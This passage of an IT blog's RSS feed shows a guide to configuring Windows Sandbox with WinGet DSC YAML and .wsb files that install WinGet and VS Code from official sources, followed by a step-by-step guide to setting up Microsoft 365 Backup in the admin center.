<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># The Logon command performs the following steps in Windows PowerShell:       #</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># 1. Set the execution policy to RemoteSigned                                 #</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># 2. Download and install App Installer (WinGet) and it's dependencies        #</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">############################################################################### </span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">properties</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">  resources</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    - </span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">resource</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Microsoft.WindowsSandbox.DSC/WindowsSandbox</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      directives</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        description</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Create Windows Sandbox with Winget installed</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        allowPrerelease</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">      settings</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        Ensure</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Present</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # You could also provide a custom .wsb file to open (look at the next point further down) with the Windows Sandbox,</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # but the following parameters will override the values from it.</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # WsbFile: &#x3C;Provide a custom .wsb file to open.></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # The Logon command is in essence a powershell  script that will be executed when the sandbox is started. First it installs the Windows package manager.</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        LogonCommand</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">          cmd /c start powershell -NoExit -Command "$progressPreference = 'silentlyContinue';</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">          Write-Host 'Setting execution policy to remote signed...' `n;</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">          Set-ExecutionPolicy RemoteSigned -Force;</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">          Write-Host 'Downloading WinGet and its dependencies...' `n;</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">          Invoke-WebRequest -Uri https://aka.ms/getwinget -OutFile Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle;</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">          Invoke-WebRequest -Uri https://aka.ms/Microsoft.VCLibs.x64.14.00.Desktop.appx -OutFile Microsoft.VCLibs.x64.14.00.Desktop.appx;</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">          Invoke-WebRequest -Uri https://github.com/microsoft/microsoft-ui-xaml/releases/download/v2.8.6/Microsoft.UI.Xaml.2.8.x64.appx -OutFile Microsoft.UI.Xaml.2.8.x64.appx;</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">          Add-AppxPackage Microsoft.VCLibs.x64.14.00.Desktop.appx;</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">          Add-AppxPackage Microsoft.UI.Xaml.2.8.x64.appx;</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">          Add-AppxPackage Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle;</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # From here on out you can use winget to install apps in the sandbox.</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">          winget install notepad++.notepad++ --accept-package-agreements --accept-source-agreements;</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # HostFolder: &#x3C;Absolute path to folder on host machine that will be shared into the Windows Sandbox></span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # SandboxFolder: &#x3C;Absolute path to destination in the sandbox to map the Host Folder to></span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # ReadOnly: false</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        MemoryInMB</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">4096</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        vGPU</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # AudioInput: true</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # ClipboardRedirection: true</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">        Networking</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">true</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # PrinterRedirection: false</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # ProtectedClient: false</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # VideoInput: true</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">  configurationVersion</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0.2.0</span></span></code></pre>
</div><p>After you safted the .yaml file on your computer, you can start the Windows Sandbox with the following command:</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Use Winget to start and configure the Windows sandbox.</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget configure C:\[</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">FileName</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">].yaml </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">accept</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">configuration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">agreements</span></span></code></pre>
</div><div class="tip custom-block"><p class="custom-block-title">TIP</p>
<p>Microsoft hosts a link to a configuration file that can be used to configure the Windows Sandbox with Winget installed.
winget configure. <a href="https://aka.ms/sandbox.dsc.yaml" target="_blank" rel="noreferrer">https://aka.ms/sandbox.dsc.yaml</a></p>
</div>
<p>Powershell window when starting the sandbox like shown above:</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>When you remove the '--accept-configuration-agreements' part from the command, you get the question at the end that you need to answer, like shown in the screenshot.</p>
</div>
<img src="\powershell_sandbox\configure.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<h2 id="windows-sandbox-configuration-with-a-wsb-file" tabindex="-1">Windows Sandbox configuration with a .wsb file <a class="header-anchor" href="#windows-sandbox-configuration-with-a-wsb-file" aria-label="Permalink to &quot;Windows Sandbox configuration with a .wsb file&quot;">&ZeroWidthSpace;</a></h2>
<p>You can also configure the Windows Sandbox with a .wsb file.
The advantage is, that you can just double click the .wsb file to start the Windows Sandbox.
This means you don`t need to use powershell in any way and can deploy the file to other users.</p>
<p>To create such a file, you can again simply write your configuration into a text editor and change the file extention afterwards to .wsb.</p>
<p>This example</p>
<ul>
<li>disables the <strong>vGPU</strong></li>
<li>enables <strong>Networking</strong></li>
<li><strong>Maps a local folder</strong> 'C:\TestReadFolder' as read only to the Windows Sandbox folder 'TestReadFolder' under Documents.</li>
<li><strong>Maps a local folder</strong> 'C:\TestReadWriteFolder' to the Windows Sandbox folder 'TestReadWriteFolder' under Documents.</li>
<li>Downloads <strong>vsCode</strong> to Downloads and installs it.</li>
</ul>
<div class="language-xml vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">xml</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">&#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">Configuration</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">vGpu</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">>Disable&#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">vGpu</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">Networking</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">>enable&#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">Networking</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">MappedFolders</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">MappedFolder</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">HostFolder</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">>C:\TestReadFolder&#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">HostFolder</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">SandboxFolder</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">>C:\Users\WDAGUtilityAccount\Documents\TestReadFolder&#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">SandboxFolder</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">ReadOnly</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">>true&#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">ReadOnly</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    &#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">MappedFolder</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">MappedFolder</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">HostFolder</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">>C:\TestReadWriteFolder&#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">HostFolder</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">SandboxFolder</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">>C:\Users\WDAGUtilityAccount\Documents\TestWriteFolder&#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">SandboxFolder</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">ReadOnly</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">>false&#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">ReadOnly</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    &#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">MappedFolder</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  &#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">MappedFolders</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">LogonCommand</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    &#x3C;</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">Command</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">>powershell.exe "invoke-webrequest https://update.code.visualstudio.com/latest/win32-x64-user/stable" -outfile C:\users\WDAGUtilityAccount\Downloads\vscode.exe</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    C:\users\WDAGUtilityAccount\Downloads\vscode.exe /verysilent /suppressmsgboxes&#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">Command</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  &#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">LogonCommand</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">&#x3C;/</span><span style="--shiki-light:#22863A;--shiki-dark:#85E89D">Configuration</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">></span></span></code></pre>
</div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Microsoft 365 Backup | Microsoft 365]]></title>
            <link>https://michaelsendpoint.com/m365/backup.html</link>
            <guid>https://michaelsendpoint.com/m365/backup.html</guid>
            <pubDate>Wed, 28 Aug 2024 20:25:29 GMT</pubDate>
            <description><![CDATA[A guide to set up Microsoft 365 Backup.]]></description>
            <content:encoded><![CDATA[<h1 id="microsoft-365-backup" tabindex="-1">Microsoft 365 Backup <a class="header-anchor" href="#microsoft-365-backup" aria-label="Permalink to &quot;Microsoft 365 Backup&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="description" tabindex="-1">Description <a class="header-anchor" href="#description" aria-label="Permalink to &quot;Description&quot;">&ZeroWidthSpace;</a></h2>
<p>Microsoft 365 Backup is designed to ensure your organization's data is always protected and easily recoverable. It provides comprehensive coverage by backing up all or selected SharePoint sites, OneDrive accounts, and Exchange mailboxes. This service allows for fast backups and restores, ensuring business continuity by quickly recovering data in case of accidental or malicious deletion. Additionally, it integrates with the Microsoft 365 admin center and partner applications for streamlined management.</p>
<h3 id="things-to-know" tabindex="-1">Things to know <a class="header-anchor" href="#things-to-know" aria-label="Permalink to &quot;Things to know&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li>🔄 Backup &amp; Restore: Quickly back up SharePoint, OneDrive, and Exchange mailboxes.</li>
<li>⚙️ Configuration Control: Customize which data to back up with easy configuration options.</li>
<li>💰 The list price is $0.15/GB/month of protected content.</li>
<li>🚀 Speed and Efficiency: Microsoft 365 Backup guarantees rapid backups and restores.</li>
<li>🛡️ Immutable Backups: Backups are read-only, protecting against data loss or cyberattacks.</li>
<li>📅 Fixed Schedule: Regular backups every 15 minutes for SharePoint and OneDrive; every 10 minutes for Exchange.</li>
<li>📊 Retention Policies: Backups are retained for one year.</li>
<li>🔍 Role-Based Access: Different admin roles allow for specific backup and restore capabilities.</li>
<li>🗂️ Restore Options: Restore to original location or new URL/folder, enhancing flexibility.</li>
<li>🌐 Data Sovereignty: Data remains within the Microsoft 365 boundary, ensuring compliance and security.</li>
</ul>
<h3 id="what-s-counted-towards-protected-backup-storage" tabindex="-1">What’s counted towards protected backup storage? <a class="header-anchor" href="#what-s-counted-towards-protected-backup-storage" aria-label="Permalink to &quot;What’s counted towards protected backup storage?&quot;">&ZeroWidthSpace;</a></h3>
<p>Microsoft 365 Backup charges you based on the size of the following content for 365 days from the time it's added to backup protection:</p>
<ul>
<li>
<p>The total size of backed up mailboxes, SharePoint sites, and OneDrive accounts. OneDrive and SharePoint site sizes are based on their usage reports. Mailbox sizes include the user's mailbox, online archives, and deleted items.</p>
</li>
<li>
<p>Deleted content in user’s Recycle Bin and second-stage Recycle Bin (also known as Site Collection Recycle Bin).</p>
</li>
</ul>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Restore points or size of restores will not be charged. Although Azure is being used to process the payments, there are no additional Azure API or storage costs beyond the Microsoft 365 Backup usage charges previously mentioned.</p>
<p>For example, if you have a site under protection that is currently 1 GB, you are charged 1 GB of backup usage. If you delete content from a site, your next monthly bill will still be for 1 GB. This is because the backup tool retains deleted content for a year. After a year, the 0.5 GB of retained content will no longer be charged for backup.</p>
</div>
<p><a href="https://aka.ms/M365BackupCalculator" target="_blank" rel="noreferrer">Microsoft 365 Backup pricing calculator tool</a></p>
<h3 id="restoration-performance" tabindex="-1">Restoration Performance <a class="header-anchor" href="#restoration-performance" aria-label="Permalink to &quot;Restoration Performance&quot;">&ZeroWidthSpace;</a></h3>
<p>Restoration performance depends on how quickly you want to recover from data loss. For full OneDrive and SharePoint restores, choose in-place rather than new URL restore. For quickest results, use one of the recommended express restore points.</p>
<p>All restores are fast, but same URL restores using a recommended express restore point will yield better results. The Exchange Online restore workflow doesn't have or require the &quot;faster&quot; restore points.</p>
<p>The following table summarizes expected performance for a normally distributed tenant, including tenants of large size and scale.</p>
<table>
<thead>
<tr>
<th style="text-align:left">Protection units</th>
<th style="text-align:left">OneDrive and SharePoint</th>
<th style="text-align:left">Exchange Online</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">1</td>
<td style="text-align:left">30 minutes</td>
<td style="text-align:left">2 hours</td>
</tr>
<tr>
<td style="text-align:left">50</td>
<td style="text-align:left">3 hours</td>
<td style="text-align:left">2.5 hours</td>
</tr>
<tr>
<td style="text-align:left">250</td>
<td style="text-align:left">4 hours</td>
<td style="text-align:left">3 hours</td>
</tr>
<tr>
<td style="text-align:left">1,000</td>
<td style="text-align:left">10 hours</td>
<td style="text-align:left">4 hours</td>
</tr>
<tr>
<td style="text-align:left">More than 1,000</td>
<td style="text-align:left">250/hour <br> Up to 3 TB/hour</td>
<td style="text-align:left">250+/hour <br> Up to 2.7 TB/hour</td>
</tr>
</tbody>
</table>
<p>*Single protection unit OneDrive and SharePoint restores using express restore points can take on average between 10 minutes and 120 minutes.</p>
<h3 id="feature-summary" tabindex="-1">Feature summary <a class="header-anchor" href="#feature-summary" aria-label="Permalink to &quot;Feature summary&quot;">&ZeroWidthSpace;</a></h3>
<table>
<thead>
<tr>
<th>Feature</th>
<th>OneDrive</th>
<th>SharePoint</th>
<th>Exchange Online</th>
</tr>
</thead>
<tbody>
<tr>
<td>Retention period</td>
<td>1 year</td>
<td>1 year</td>
<td>1 year</td>
</tr>
<tr>
<td>Recovery points</td>
<td>every 10 minutes for two weeks<br><br>Weekly snapshots for weeks 2-52</td>
<td>every 10 minutes two weeks<br><br>Weekly snapshots for weeks 2-52</td>
<td>every 10 minutes for 52 weeks</td>
</tr>
<tr>
<td>Backup granularity</td>
<td>OneDrive account</td>
<td>SharePoint site</td>
<td>Exchange user account</td>
</tr>
<tr>
<td>Restore granularity</td>
<td>OneDrive accounts<br><br>Files restorable via versions (coming soon)</td>
<td>Sharepoints sites<br><br>Files restorable via versions (coming soon)</td>
<td>Mail/Contacts/Calendar/Task items</td>
</tr>
<tr>
<td>Restore options</td>
<td>Location: Same or new URL<br><br>OneDrive restore rolls back to the state of the site at the prior point in time, overwriting all content and metadata since that prior point in time<br><br>File version restore rolls forward the file to the state at the prior point in time, but retains prior versions</td>
<td>Location: Same or new URL<br><br>Full site restore rolls back to the state of the site at the prior point in time, overwriting all content and metadata since that prior point in time<br><br>File version restore rolls forward the file to the state at the prior point in time, but retains prior versions</td>
<td>Location: Same or new folder within user’s mailbox<br><br>Full and item level mailbox restores only modified/deleted items from prior point in time</td>
</tr>
<tr>
<td>Restore speeds (RTO)</td>
<td>Up to 1,000 average-sized OneDrive accounts at a rate of up to 1-3 TB per hour</td>
<td>Up to 1,000 average-sized sites, at a rate of up to 1-3 TB per hour</td>
<td>Up to 1,000 average-sized mailboxes at a rate of up to 1-3 TB per hour</td>
</tr>
<tr>
<td>Auditability</td>
<td>Actions fully auditable</td>
<td>Actions fully auditable</td>
<td>Actions fully auditable</td>
</tr>
<tr>
<td>Geographic residency</td>
<td>Physically redundant &amp; geographically replicated<br><br>Honors tenant’s geographic residency requirements</td>
<td>Physically redundant &amp; geographically replicated<br><br>Honors tenant’s geographic residency requirements</td>
<td>Physically redundant &amp; geographically replicated<br><br>Honors tenant’s geographic residency requirements</td>
</tr>
<tr>
<td>Billing model</td>
<td>$0.15 per GB per month for all data protected by Backup<br><br>Restores are free</td>
<td>$0.15 per GB per month for all data protected by Backup<br><br>Restores are free</td>
<td>$0.15 per GB per month for all data protected by Backup<br><br>Restores are free</td>
</tr>
</tbody>
</table>
<h2 id="how-to-set-up-microsoft-365-backup" tabindex="-1">How to set up Microsoft 365 Backup <a class="header-anchor" href="#how-to-set-up-microsoft-365-backup" aria-label="Permalink to &quot;How to set up Microsoft 365 Backup&quot;">&ZeroWidthSpace;</a></h2>
<ol>
<li>Open the <a href="https://admin.cloud.microsoft/" target="_blank" rel="noreferrer">Microsoft 365 admin center</a>, open 'Settings' -&gt; 'Org settings' and select 'Syntex'.
<ul>
<li>If you don`t see 'Syntex' under 'Org settings' you can search for 'syntex' under 'Setup' and select 'Automate content processes with Syntex'.</li>
<li>Now you can select 'Go to Syntex settings'.</li>
</ul>
</li>
</ol>
<img src="\m365_backup\m365_backup_0.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="2">
<li>Now you can select 'Storage' and open 'Backup'.</li>
</ol>
<img src="\m365_backup\m365_backup_1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="3">
<li>You will now be informed that you need to create a billing account for Syntex.</li>
<li>For that click on 'Set up billing'.</li>
</ol>
<img src="\m365_backup\m365_backup_2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="5">
<li>Next you can select the Azure subscription, the Resource group and the Region you want to use.</li>
<li>Accept the terms of service and 'save'.</li>
</ol>
<img src="\m365_backup\m365_backup_3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="6">
<li>This will only take a few seconds and when its done you will see a green message at the top that it was set up successfully.</li>
</ol>
<img src="\m365_backup\m365_backup_5.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<img src="\m365_backup\m365_backup_4.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="7">
<li>Now you go back to the Microsoft Syntex settings and select 'Storage' -&gt; 'Backup' again.</li>
<li>Here you you can turn on Microsoft 365 Backup in you Tenant.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>This will not cost any money yet.</p>
</div>
<img src="\m365_backup\m365_backup_6.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="9">
<li>This will take about a Minute and then you will again see a green message at the top, that it was turned on.</li>
</ol>
<img src="\m365_backup\m365_backup_8.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<img src="\m365_backup\m365_backup_9.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="10">
<li>Now you start setting the specific things you want to backup.</li>
<li>For this, please open 'Settings' in the left pane and click on 'Microsoft 365 Backup'.</li>
</ol>
<img src="\m365_backup\m365_backup_10.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
<ol start="12">
<li>In the next screen you see your tabs for 'Backup policies' and 'Restoration'.</li>
<li>Under 'Backup policies' you can set up the Backup for Sharepoint, Exchange and OneDrive.</li>
</ol>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>From here on out it will cost money for at least one year. (<a href="https://michaelsendpoint.com/m365/backup.html#things-to-know" target="_blank" rel="noreferrer">see info above</a>)</p>
</div>
<img src="\m365_backup\m365_backup_11.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<ol start="11">
<li>For this click on 'Set up policy'.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>The example is for an Exchange Mailbox, but the procedure is the same with the other services.</p>
</div>
<ol start="12">
<li>Next a wizard opens that guides you trough the process.</li>
</ol>
<img src="\m365_backup\m365_backup_13.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<ol start="13">
<li>Here you can choose which items are included in the Backup via:
<ol>
<li>An .csv file upload. (You can download a template in the next screen.)</li>
<li>Specific filter critieria.</li>
<li>Select the items individually.</li>
</ol>
</li>
</ol>
<img src="\m365_backup\m365_backup_14.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="14">
<li>In this example I selected an individual mailbox.</li>
</ol>
<img src="\m365_backup\m365_backup_15.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="15">
<li>Now proceed with clicking 'Create Policy'.</li>
</ol>
<img src="\m365_backup\m365_backup_12.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="150" loading="lazy"/>
<ol start="16">
<li>Now you see the status 'Processing' under the configured policy, which will take about an hour depending on the mass of selected items.</li>
</ol>
<img src="\m365_backup\m365_backup_17.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="17">
<li>When its done, the Status switches to 'Active'.</li>
</ol>
